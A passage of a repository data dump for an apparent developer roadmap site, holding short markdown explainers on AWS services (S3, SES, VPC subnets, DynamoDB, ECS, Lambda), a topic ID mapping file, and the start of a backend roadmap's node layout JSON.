    "content": "# S3\n\nAmazon S3 (Simple Storage Service) is an object storage service offered by Amazon Web Services (AWS). It provides scalable, secure and durable storage on the internet. Designed for storing and retrieving any amount of data from anywhere on the web, it is a key tool for many companies in the field of data storage, including mobile applications, websites, backup and restore, archive, enterprise applications, IoT devices, and big data analytics.\n\nVisit the following resources to learn more:\n\n- [@official@S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/sandbox--sending-limits@kG7tlZjv_hJbHGooBkxS0.md",
    "content": "# Sandbox / Sending Limits\n\nIn AWS SES, when your account is in the sandbox (default mode for all new accounts), you can only send emails to verified email addresses and the maximum send rate is 1 email per second. The maximum sending quota is 200 messages per 24-hour period. To move out of this sandbox environment and increase your sending limits, you will need to request a sending limit increase. This is achieved by submitting an SES Sending Limit Increase case in the AWS Support Center. For more details, one can refer to the AWS SES documentation.\n\nVisit the following resources to learn more:\n\n- [@official@Sandbox / Sending Limits](https://docs.aws.amazon.com/ses/latest/dg/manage-sending-quotas.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/scaling-policies@fRBaiw8Qx8kapzCphmM4v.md",
    "content": "# Scaling Policies\n\nAWS Autoscaling supports various types of scaling policies that control how and when to scale. These include target tracking scaling policies, step scaling policies, and simple scaling policies. Target tracking scaling policies adjust the capacity based on specified dynamic conditions, maintaining the target value for the specified metric. Step scaling policies adjust the capacity based on a set of scaling adjustments, increasing or decreasing the capacity within the constraints of the minimum and maximum capacity. Meanwhile, simple scaling policies increase or decrease the capacity based on a single alarm.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Autoscaling Policy](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/security-groups@Cd9gdbkCFdrTLrnJMy5F3.md",
    "content": "# Security Groups\n\nSecurity Groups in AWS act as a virtual firewall for your instance to control inbound and outbound traffic. When you launch an instance in a VPC, you can assign up to five security groups to the instance. Security Groups are stateful — if you send a request from your instance, the response traffic for that request is allowed to flow in regardless of inbound security group rules. You can specify allow rules, but not deny rules. You can specify separate rules for inbound and outbound traffic. Therefore, if you need to allow specific communication between your instances, you'll need to configure both outbound rules for the sender security group and inbound rules for the receiver security group.\n\nVisit the following resources to learn more:\n\n- [@official@Security Groups](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/sender-reputation@Vo_PBfB7LxYL27nBBVoVp.md",
    "content": "# Sender Reputation\n\nSender reputation in Amazon Web Services (AWS) Simple Email Service (SES) is essentially a measure of your sending practices and how they align with the expectations of ISPs and email recipients. This reputation is determined by factors such as your email bounce rate, complaints, content quality, email volume, consistency of email sending, etc. Maintaining a good sender reputation is crucial as it impacts your email deliverability rate - i.e., whether your emails land in recipients' inbox or spam folder. AWS SES encourages good sending practices to help sustain a positive sender reputation.\n\nVisit the following resources to learn more:\n\n- [@official@Sender Reputation](https://aws.amazon.com/blogs/messaging-and-targeting/the-four-pillars-of-email-reputation/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/services@zSiSbIdBgFLBBAnp4I9vX.md",
    "content": "# Services\n\nAWS ECS Services are defined as a set of part or all of your task definitions that run and maintain a specified number of instances of a task definition simultaneously in an Amazon ECS cluster. If any of your tasks should fail or stop for any reason, the Amazon ECS service scheduler launches another instance of your task definition to replace it and maintain the desired count of tasks, ensuring the service's reliability and availability. ECS services can be scaled manually or with automated scaling policies based on CloudWatch alarms. In addition, ECS service scheduling options define how Amazon ECS places and terminates tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Services in ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/ses@-bwXo6xvF1yzyWEm5oZhJ.md",
    "content": "# SES\n\nAmazon Simple Email Service (SES) is a scalable and cost-effective email sending service tailored for marketers, developers, and businesses. It enables users to send notifications, transactional emails, and marketing communications using a highly reliable infrastructure. Amazon SES eliminates the complexity and challenge of building an in-house email solution or licensing, installing, and managing a third-party service. This service can be easily integrated into your existing applications while ensuring your email reaches the recipient's inbox.\n\nVisit the following resources to learn more:\n\n- [@official@SES](https://aws.amazon.com/ses/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/shared-responsibility-model@0flGtxZmxQKxO3c3sguwp.md",
    "content": "# Shared Responsibility Model\n\nIn Amazon Web Services (AWS), the concept of 'Shared Responsibility' pertains to the distribution of security and compliance responsibilities between AWS and the user/client. Under this model, AWS is responsible for the security \"of\" the cloud — including the infrastructure, hardware, software, networking, and facilities that run AWS cloud services. On the other hand, the user is responsible for security \"in\" the cloud — this includes managing and configuring the customer-controlled services, protecting account credentials, and securing customer data. This shared model aims to lessen operational burden for users and provide flexible security controls.\n\nVisit the following resources to learn more:\n\n- [@official@Shared Responsibility Model](https://aws.amazon.com/compliance/shared-responsibility-model/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/standard@Ll5FPCtkpYq_niJd7WoTC.md",
    "content": "# Standard\n\nAmazon S3 Standard storage is designed for general-purpose storage of frequently accessed data. It provides low latency and high throughput, making it suitable for a wide variety of use cases, including cloud applications, dynamic websites, content distribution, mobile and gaming applications, and big data analytics. S3 Standard offers high durability, availability, and performance object storage for both small and large objects. You have immediate access to your data and can retrieve it at any time, making it a versatile choice for many different AWS workloads.\n\nVisit the following resources to learn more:\n\n- [@official@AWS S3 Standard](https://aws.amazon.com/s3/pricing/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/storage--volumes@A0u7CJwj5ULAMiAm12vZI.md",
    "content": "# Storage / Volumes\n\nIn AWS, an `Amazon EBS` (Elastic Block Store) is the storage volume used by EC2 (Elastic Compute Cloud) instances. It is designed for data durability, and Amazon EBS volumes automatically replicate within their Availability Zone to prevent data loss due to failure of any individual component. EBS volumes are attached to an EC2 instance, and appear as a network drive that you can mount and format using the file system of your choice. You can use Amazon EBS as the primary storage for data that requires frequent updates, such as a system drive for an instance or storage for a database application.\n\nVisit the following resources to learn more:\n\n- [@official@Elastic Block Store](https://docs.aws.amazon.com/ebs/latest/userguide/what-is-ebs.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/storage-types@PJaAqax4fABnkObY5UwNp.md",
    "content": "# Storage Types\n\nAmazon S3 provides three storage classes: S3 Standard, S3 Intelligent-Tiering, and S3 Glacier. `S3 Standard` is designed for frequently accessed data. It delivers low latency and high throughput. `S3 Intelligent-Tiering` is automated storage class that optimizes costs. It moves objects between two access tiers (frequent and infrequent access) based on changing access patterns. `S3 Glacier` is for long-term backup and archives. It has two retrieval modes: Expedited (for quick access) and Bulk (for largest and less time-sensitive retrievals).\n\nVisit the following resources to learn more:\n\n- [@official@Storage Types](https://aws.amazon.com/s3/storage-classes/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/storage-types@Xs057ESpvxXg2r_rDQnOa.md",
    "content": "# Storage Types\n\nAWS RDS offers three types of storage: General Purpose (SSD), Provisioned IOPS (SSD), and Magnetic. General Purpose (SSD) storage delivers a consistent baseline of 3 IOPS/GB and can burst up to 3,000 IOPS. It's suitable for a broad range of database workloads that have moderate I/O requirements. Provisioned IOPS (SSD) storage is designed to meet the needs of I/O-intensive workloads, particularly database workloads that are sensitive to storage performance and consistency. Magnetic storage, the most inexpensive type, is perfect for applications where the lowest storage cost is important and is best for infrequently accessed data.\n\nVisit the following resources to learn more:\n\n- [@official@RDS Storage Types](https://aws.amazon.com/rds/instance-types/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/streams@0C3GCGdSXozJK2MNeWerg.md",
    "content": "# Streams\n\nAWS DynamoDB Streams is a time-ordered sequence of item-level modifications in any DynamoDB table. When you enable a stream on a table, DynamoDB captures information about every modification to data items in the table. The changes are recorded in near real-time and can be set up to trigger AWS Lambda functions immediately after an event has occurred. With DynamoDB Streams, applications can access this log and view the data modifications in the order they occurred. The stream records item-level data modifications such as `Insert`, `Modify`, and `Remove`. Each stream record is then organized into a stream view type, where applications can access up to 24 hours of data modification history.\n\nVisit the following resources to learn more:\n\n- [@official@Streams](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Streams.Lambda.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/subnets@Y64TE0U20kllmykjdfhHp.md",
    "content": "# Subnets\n\nSubnets or subnetworks in Amazon VPC (Virtual Private Cloud) are divisions of a VPC's IP address range. You can launch Amazon Elastic Compute Cloud (Amazon EC2) instances into a selected subnet. When you create a subnet, you specify the CIDR block for the subnet, which is a subset of the VPC CIDR block. Each subnet must be associated with a route table, which controls the traffic flow between the subnets. There are two types of subnets: public and private. A public subnet is one in which the associated route table directs the subnet to the Internet Gateway (IGW) of the VPC. A private subnet does not have a route to the IGW and hence has no direct route to the internet.\n\nVisit the following resources to learn more:\n\n- [@official@Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/configure-subnets.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/tables--items--attributes@DN_iuLo9gYDqU8JleE1WJ.md",
    "content": "# Tables / Items / Attributes\n\nIn Amazon DynamoDB, tables are a collection of items. An item is a group of attributes that is identified by a primary key. Items are similar to rows or records in other database systems. Each item in a table is uniquely identifiable by a primary key. This key can be simple (partition key only) or composite (partition key and sort key). Every attribute in an item is a name-value pair. The name of the attribute is a string and the value of an attribute can be of the following types: String, Number, Binary, Boolean, Null, List, Map, String Set, Number Set, and Binary Set.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/WorkingWithItems.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/tasks@1lHXxpoF11yE3rfoQCbTG.md",
    "content": "# Tasks\n\nTasks in Amazon ECS are the instantiation of a task definition within a cluster. They can be thought of as the running instance of the definition, the same way an object is an instance of a class in object-oriented programming. A task definition is a text file in JSON format that describes one or more containers, up to a maximum of 10. The task definition parameters specify the container image to use, the amount of CPU and memory to allocate for each container, and the launch type to use for the task, among other options. When a task is launched, it is scheduled on an available container instance within the cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Tasks in ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/user-data-scripts@ZKjjgXZ89zV2atWcSal-s.md",
    "content": "# User Data Scripts\n\n\"User Data Scripts\" in EC2 instances are used to perform common automated configuration tasks and even run scripts after the instance starts. These scripts run as the root user, and can be used to install software or download files from an S3 bucket. You can pass up to 16 KB of data to an instance, either as plain text or base64-encoded. The User Data script is executed only one time when the instance is first launched. If you stop and start the instance, the script does not run again. However, it will run on every boot if the instance reboots.\n\nVisit the following resources to learn more:\n\n- [@official@User Data Scripts EC2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/users--user-groups@Nn2zawk6A31NwZa40jOhX.md",
    "content": "# Users / User Groups\n\nIn AWS Identity and Access Management (IAM), a **Users Group** is a collection of IAM users. Groups enable you to specify permissions for multiple users, making it easier to manage the permissions for those users. For example, you could have a group called \"Developers\" and give that group the necessary permissions for developing in your environment. If a new developer joins your organization, rather than defining permissions specifically for that user, you can add the user to the \"Developers\" group to assign those permissions. Remember, each AWS IAM user in a group inherits the permission policies attached to the group.\n\nVisit the following resources to learn more:\n\n- [@official@IAM - AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/versioning--aliases@75ZjuGozDfoZPLj32P2t2.md",
    "content": "# Versioning / Aliases\n\nIn AWS Lambda, **Versioning** provides a way to manage distinct and separate iterations of a Lambda function, enabling both risk reduction and more efficient development cycles. Conversely, an **Alias** is a pointer to a specific Lambda function version. Aliases are mutable; they can be re-associated to a different version, manifesting a form of flexibility. With aliases, one can avoid direct updating of event triggers or downstream services as they can point to an alias and the corresponding version can be updated, hence separating the infrastructure/code changes.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda Versioning](https://docs.aws.amazon.com/lambda/latest/dg/configuration-aliases.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/vpc@Sv2aT8eI1RvJhvoKVYQEX.md",
    "content": "# VPC\n\nAmazon VPC (Virtual Private Cloud) is a service that lets you launch AWS resources in a logically isolated virtual network that you define. It provides advanced security features such as security groups and network access control lists to enable inbound and outbound filtering at the instance and subnet level. Additionally, you can create a Hardware Virtual Private Network (VPN) connection between your corporate datacenter and your VPC to leverage the AWS cloud as an extension of your corporate datacenter.\n\nVisit the following resources to learn more:\n\n- [@official@VPC](https://aws.amazon.com/vpc/)\n- [@video@AWS VPC Beginner to Advanced uses](https://www.youtube.com/watch?v=g2JOHLHh4rI)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/well-architected-framework@eKuC7VmkGVYFnbC2Rvn8D.md",
    "content": "# Well Architected Framework\n\nAWS Well-Architected Framework is a set of strategic guidelines provided by Amazon Web Services. It is designed to provide high-performing and resilient systems while maintaining cost efficiency. The framework divides the architectural best practices across six pillars which include operational excellence, security, reliability, performance efficiency, cost optimization and the sustainability. With this framework, you can assess and improve your cloud-based architectures and applications by leveraging AWS technologies.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Well-Architected](https://aws.amazon.com/architecture/well-architected)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/what-is-cloud-computing@74JxgfJ_1qmVNZ_QRp9Ne.md",
    "content": "# What is Cloud Computing?\n\nCloud Computing refers to the delivery of computing services over the internet instead of using local servers. It offers reliable, scalable, and inexpensive cloud computing services which include data storage, databases, applications, analytics, machine learning, and even setting up virtual servers. The biggest names providing cloud computing services are Amazon Web Services (AWS), Microsoft Azure, Google Cloud, and others. The main selling point is that you only pay for the services you use, helping you manage your expenses more effectively.\n\nVisit the following resources to learn more:\n\n- [@article@What is Cloud Computing - IBM](https://www.ibm.com/topics/cloud-computing)\n- [@article@Cloud Computing - AWS](https://aws.amazon.com/what-is-cloud-computing/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/aws/migration-mapping.json",
    "content": "{\n  \"introduction\": \"Py9nst2FDJ1_hoXeX_qSF\",\n  \"introduction:cloud-computing\": \"74JxgfJ_1qmVNZ_QRp9Ne\",\n  \"introduction:iaas-paas-saas\": \"i4ijY3T5gLgNz0XqRipXe\",\n  \"introduction:public-private-hybrid\": \"3hatcMVLDbMuz73uTx-9P\",\n  \"introduction:aws\": \"Dg1v9TV-wGSNLPfAals_y\",\n  \"introduction:aws:global-infra\": \"z9R1BWUGalmnw0E7QqiW6\",\n  \"introduction:aws:shared-respons\": \"0flGtxZmxQKxO3c3sguwp\",\n  \"introduction:aws:well-architected\": \"eKuC7VmkGVYFnbC2Rvn8D\",\n  \"ec2\": \"cL7vis8H5L2vv6LqJ5wvC\",\n  \"ec2:instance-types\": \"VHD2ISW9WoSWjp8Hh6Zft\",\n  \"ec2:cpu-credits\": \"_U2bKjxIrAAk7TMrPttpb\",\n  \"ec2:storage-volume\": \"A0u7CJwj5ULAMiAm12vZI\",\n  \"ec2:keypairs\": \"wFT-fddGn__DRoqG0joFk\",\n  \"ec2:elastic-ip\": \"DCvkZSp25pjaimG0THLTu\",\n  \"ec2:user-data-scripts\": \"ZKjjgXZ89zV2atWcSal-s\",\n  \"ec2:purchasing-options\": \"8v9T6Y6JC7qaqIgkbT-nr\",\n  \"vpc\": \"Sv2aT8eI1RvJhvoKVYQEX\",\n  \"vpc:cidr-blocks\": \"2hFBv2fhKDYBN-9ITs82J\",\n  \"vpc:subnets\": \"Y64TE0U20kllmykjdfhHp\",\n  \"vpc:subnets:private\": \"ymuURDwW8JG3NSIXcl0FL\",\n  \"vpc:subnets:public\": \"ABCH1rATHmecyWHyK3n-m\",\n  \"vpc:route-tables\": \"FCdOnwQubhOnCFFnF8uJN\",\n  \"vpc:security-groups\": \"Cd9gdbkCFdrTLrnJMy5F3\",\n  \"vpc:internet-gateway\": \"Le8yOJzpzxH1xgd7XEU2B\",\n  \"vpc:nat-gateway\": \"6D-gs32jrCyvMVhr9PSAY\",\n  \"iam\": \"xmKeB4hEi2DunmhAsvS1X\",\n  \"iam:policies\": \"eQAn3e-k9WNufPqOnwY_K\",\n  \"iam:users-groups\": \"Nn2zawk6A31NwZa40jOhX\",\n  \"iam:roles\": \"7nI202hX41mI5ms9LZonh\",\n  \"iam:policies:identity-based\": \"cwGuOrmbSTcSoH80skLTk\",\n  \"iam:policies:resource-based\": \"v_YmmlOk-DkzJ8mI5Ftgr\",\n  \"iam:roles:instance-profiles\": \"i7X1GfOx5AZYFskepW4Zr\",\n  \"iam:roles:assuming-roles\": \"0IMdO7g_5El1elvDXJJ_0\",\n  \"autoscaling\": \"dOAZG-NbjWiVdPKYEhWxj\",\n  \"autoscaling:amis\": \"AfagmWcllSi81D2XIQz0V\",\n  \"autoscaling:launch-templates\": \"K0GCk5_HDvP0_ZqsUc3tG\",\n  \"autoscaling:autoscaling-groups\": \"gBKHVG7FvlCEgINKmw00s\",\n  \"autoscaling:scaling-policies\": \"fRBaiw8Qx8kapzCphmM4v\",\n  \"autoscaling:elb\": \"YAZPKMbmrxYNqF6alXMyL\",\n  \"s3\": \"PN3xAYfQ-_QgZCRCnsEca\",\n  \"s3:buckets-objects\": \"rTgjDj5HqbjRpcJ7PR-EC\",\n  \"s3:lifecycle\": \"8i6zpjkMC_Pg-tDNmrx4n\",\n  \"s3:storage-types\": \"PJaAqax4fABnkObY5UwNp\",\n  \"s3:storage-types:standard\": \"Ll5FPCtkpYq_niJd7WoTC\",\n  \"s3:storage-types:s3-ia\": \"JlkLNQ8wRzGkjaootNKOD\",\n  \"s3:storage-types:gladier\": \"IikKYP58sT2H1lM8glm-g\",\n  \"ses\": \"-bwXo6xvF1yzyWEm5oZhJ\",\n  \"ses:sandbox-limits\": \"kG7tlZjv_hJbHGooBkxS0\",\n  \"ses:identity-verification\": \"bTCVHXPG-LtaaFmgiB2SL\",\n  \"ses:dkim-setup\": \"zwVd1vNm1ks6MdHZoi-5W\",\n  \"ses:feedback-handling\": \"0NWTFssjg9SbDXQRkN5kF\",\n  \"ses:configuration-sets\": \"4svXYQYmqjUZU39z8OyhD\",\n  \"ses:sender-reputation\": \"Vo_PBfB7LxYL27nBBVoVp\",\n  \"ses:dedicated-ip\": \"pnX1dfkjS8woWc4KGXlh_\",\n  \"route53\": \"f89qL7Cg9R_LTxBEG4jUK\",\n  \"route53:hosted-zones\": \"z-o-2cGYSM6KW_CNJyw3p\",\n  \"route53:routing-policies\": \"IQhPG1La7dZeSXnX23D1n\",\n  \"route53:health-checks\": \"LXG_znJ3XzPAlDxUH2-Xp\",\n  \"cloudwatch\": \"VAYxwJH10PFjGS8poKd9-\",\n  \"cloudwatch:metrics\": \"2vQPmVNk1QpMM-15RKG8b\",\n  \"cloudwatch:events\": \"tHQ6NRVDPCPEOmzgjQDLX\",\n  \"cloudwatch:logs\": \"oC6KIjWAXw0hLl4FwkB9F\",\n  \"cloudfront\": \"zFgnu2fL0EUKIMz9tVH1j\",\n  \"cloudfront:distributions\": \"fAK7GRKunmoidlD32OBma\",\n  \"cloudfront:policies\": \"dO9ZfUyNia7L_fCh4d0n7\",\n  \"cloudfront:invalidations\": \"hRXbAADgRTXEFwbBXeNu7\",\n  \"rds\": \"fkMF-2PQZ00UdwxhQt1ds\",\n  \"rds:db-instances\": \"l9oq3LiEd8ZrPtupPk-Fn\",\n  \"rds:storage-types\": \"Xs057ESpvxXg2r_rDQnOa\",\n  \"rds:backup-restore\": \"tBKc7tHOiJaTmwEl3q--Y\",\n  \"rds:storage-types:general-purpose\": \"uo5HIyePegnJooortvWLu\",\n  \"rds:storage-types:provisioned-iops\": \"3l1ji4JToj277vpgONmLw\",\n  \"rds:storage-types:magnetic\": \"y0CoNcEFHyz350f7pNddt\",\n  \"dynamodb\": \"wGb0TEDnSe_bmv9Krx4qB\",\n  \"dynamodb:tables-items\": \"DN_iuLo9gYDqU8JleE1WJ\",\n  \"dynamodb:primary-keys\": \"oWtWgaFznTPJhQIyfIIQf\",\n  \"dynamodb:data-modeling\": \"aU1lv80xXNkQTD41Qfln5\",\n  \"dynamodb:streams\": \"0C3GCGdSXozJK2MNeWerg\",\n  \"dynamodb:capacity-settings\": \"KtXww9J0znwzTwL7GKfaY\",\n  \"dynamodb:limits\": \"0ctJa-V6aenimSr5h303J\",\n  \"dynamodb:backup-restore\": \"NWvasq-AcwxmOKZPDv3ue\",\n  \"dynamodb:dynamo-local\": \"yauCWo1VoG-X483-4mfdn\",\n  \"elasticache\": \"9TcYdsdmvKWWHoyE6uNbC\",\n  \"elasticache:quotas\": \"PYgs4niQRlLKCBMfM4qf9\",\n  \"ecr\": \"_c_Wq84yIu4ac7e0RzDtC\",\n  \"ecs\": \"EqUT0wpdPRDGtGAZ7nneY\",\n  \"ecs:clusters\": \"PphzNicIJawVElmY5rn8f\",\n  \"ecs:tasks\": \"1lHXxpoF11yE3rfoQCbTG\",\n  \"ecs:services\": \"zSiSbIdBgFLBBAnp4I9vX\",\n  \"ecs:launch-config\": \"1r2FL3OEOh0S9ee0OVnrN\",\n  \"ecs:fargate\": \"OI8y54RhFpfS_l1L9VTZe\",\n  \"eks\": \"kvHzEDZQV72AUjqisg8PB\",\n  \"lambda\": \"741vsAPTXJLVUlazFg0q4\",\n  \"lambda:creating-invoking\": \"SdCNevKjyhFcreMSWY6BT\",\n  \"lambda:layers\": \"CL93C0NGFQmScVnftnRtO\",\n  \"lambda:custom-runtimes\": \"KWjIAakMIlxn_jso22h0M\",\n  \"lambda:versioning-aliases\": \"75ZjuGozDfoZPLj32P2t2\",\n  \"lambda:event-bridge\": \"0CUfDEMwCwSHVdqkP8lOG\",\n  \"lambda:cold-start-limitations\": \"EuOv19jDSj56Cy7PqvtNv\",\n  \"lambda:api-gateway\": \"T0dvezPWX6rAiKweT0TkG\",\n  \"lambda:lambda-edge\": \"5SF5nO94NFDkHY8UJoeAY\"\n}"
  },
  {
    "path": "src/data/roadmaps/backend/backend-beginner.json",
    "content": "{\"nodes\":[{\"id\":\"UFd8PEg6IwJMXvuv8Ow1f\",\"type\":\"section\",\"position\":{\"x\":8.678189763286014,\"y\":689.9126418589183},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"}},\"zIndex\":-999,\"width\":145,\"height\":123,\"style\":{\"width\":145,\"height\":123},\"positionAbsolute\":{\"x\":8.678189763286014,\"y\":689.9126418589183},\"dragging\":false,\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"id\":\"Ju00mr0KLGN2BV6yEQGPt\",\"type\":\"vertical\",\"position\":{\"x\":-204.47806963137555,\"y\":1491.372464537289},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#4136D4\"}},\"zIndex\":999,\"width\":20,\"height\":104,\"positionAbsolute\":{\"x\":-204.47806963137555,\"y\":1491.372464537289},\"dragging\":false,\"style\":{\"width\":20,\"height\":104},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":413,\"height\":124,\"id\":\"sVXZrBCsiSzWBBYWTm-nQ\",\"type\":\"paragraph\",\"position\":{\"x\":-400.97806963137555,\"y\":1404.0164397619342},\"selected\":true,\"data\":{\"label\":\"Have a look at the detailed version\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#ffffff\"},\"oldId\":\"0vLaVNJaJSHZ_bHli6Qzs\"},\"zIndex\":999,\"positionAbsolute\":{\"x\":-400.97806963137555,\"y\":1404.0164397619342},\"dragging\":false,\"style\":{\"width\":413,\"height\":124},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":231,\"height\":49,\"id\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"type\":\"topic\",\"position\":{\"x\":-309.58230823147517,\"y\":635.9941785421215},\"selected\":true,\"data\":{\"label\":\"Learn about APIs\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"iGeAiNtqNadlJVDmd-p-g\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-309.58230823147517,\"y\":635.9941785421215},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":152,\"height\":68,\"id\":\"iogwMmOvub2ZF4zgg6WyF\",\"type\":\"title\",\"position\":{\"x\":-270.08230823147517,\"y\":-119.42445334555111},\"selected\":true,\"data\":{\"label\":\"Backend\",\"style\":{\"fontSize\":28,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"9nxw2PEl-_eQPW0FHNPq2\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-270.08230823147517,\"y\":-119.42445334555111},\"focusable\":true,\"selectable\":true},{\"width\":126,\"height\":49,\"id\":\"BdXbcz4-ar3XOX0wIKzBp\",\"type\":\"subtopic\",\"position\":{\"x\":-555.4238043165935,\"y\":57.59280263144706},\"selected\":true,\"data\":{\"label\":\"Go\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"Of5xsnf0QtksCDnCCHKIv\",\"legend\":{\"id\":\"DMx7rAjVBWMbzjSde-tvp\",\"label\":\"Alternative Option / Pick this or purple\",\"color\":\"#4f7a28\",\"position\":\"left-center\"}},\"style\":{\"width\":126,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-555.4238043165935,\"y\":57.59280263144706},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":126,\"height\":49,\"id\":\"8-lO-v6jCYYoklEJXULxN\",\"type\":\"subtopic\",\"position\":{\"x\":-555.4238043165935,\"y\":4.592802631447057},\"selected\":true,\"data\":{\"label\":\"JavaScript\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"CyQ_GODtWgrz6Uikts5bJ\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"left-center\"}},\"style\":{\"width\":126,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-555.4238043165935,\"y\":4.592802631447057},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":126,\"height\":49,\"id\":\"J_sVHsD72Yzyqb9KCIvAY\",\"type\":\"subtopic\",\"position\":{\"x\":-555.4238043165935,\"y\":110.59280263144706},\"selected\":true,\"data\":{\"label\":\"Python\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"FIPHmInvgJg9e8KqDAh2g\",\"legend\":{\"id\":\"DMx7rAjVBWMbzjSde-tvp\",\"label\":\"Alternative Option / Pick this or purple\",\"color\":\"#4f7a28\",\"position\":\"left-center\"}},\"style\":{\"width\":126,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-555.4238043165935,\"y\":110.59280263144706},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":231,\"height\":50,\"id\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":54.70730350215206},\"selected\":true,\"data\":{\"label\":\"Pick a Language\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"uGqgITLdZbxJdGUihNqxV\"},\"style\":{\"width\":231,\"height\":50},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":54.70730350215206},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":132,\"height\":49,\"id\":\"_I1E__wCIVrhjMk6IMieE\",\"type\":\"subtopic\",\"position\":{\"x\":-532.4238043165935,\"y\":309.642069464665},\"selected\":true,\"data\":{\"label\":\"Git\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"eyP1K2ve-C0gDYt6Hdgw0\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"left-center\"}},\"style\":{\"width\":132,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-532.4238043165935,\"y\":309.642069464665},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":231,\"height\":49,\"id\":\"ezdqQW9wTUw93F6kjOzku\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":309.642069464665},\"selected\":true,\"data\":{\"label\":\"Version Control 